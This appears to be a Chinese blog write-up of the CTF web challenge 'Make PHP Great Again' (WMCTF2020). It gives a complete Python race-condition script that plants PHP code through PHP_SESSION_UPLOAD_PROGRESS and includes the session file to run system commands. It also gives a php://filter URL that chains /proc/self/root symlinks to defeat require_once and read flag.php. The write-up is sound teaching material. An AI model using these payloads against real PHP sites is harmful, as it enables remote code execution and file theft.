[WMCTF2020]Make PHP Great Again

本文介绍了作者复现WMCTF2021中Web挑战MakePHPGreatAgain的过程,涉及文件包含漏洞和PHP_SESSION_UPLOAD_PROGRESS的非预期利用。通过创建线程执行POST请求,利用PHP的文件包含漏洞读取flag.php的内容。此外,还提到了一种利用PHP的最新特性避免once机制的重复包含漏洞的方法,通过递归软链接路径达到目标。

[WMCTF2020]Make PHP Great Again

前言

突然想到今年WMCTF2021 赵总出的那道Web还没去复现,就打算复现一波,然后又想到去年的Make PHP Great Again也还没复现,就先来buuctf上面复现一下这个题目。

非预期

没啥好说的了,文件包含,PHP_SESSION_UPLOAD_PROGRESS万能非预期:

import io
import sys
import requests
import threading

host = 'http://a4b822a9-e181-4395-b9be-014a4acc375e.node4.buuoj.cn:81/'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

预期解

官方wp这样说的:

PHP最新版 的小 Trick, require_once 包含的软链接层数较多事 once 的 hash 匹配会直接失效造成重复包含。

/proc/self/是指向当前进程的/proc/pid/,而/proc/self/root是指向/的软连接,所以让软连接层数变多即可造成重复包含:

http://a4b822a9-e181-4395-b9be-014a4acc375e.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值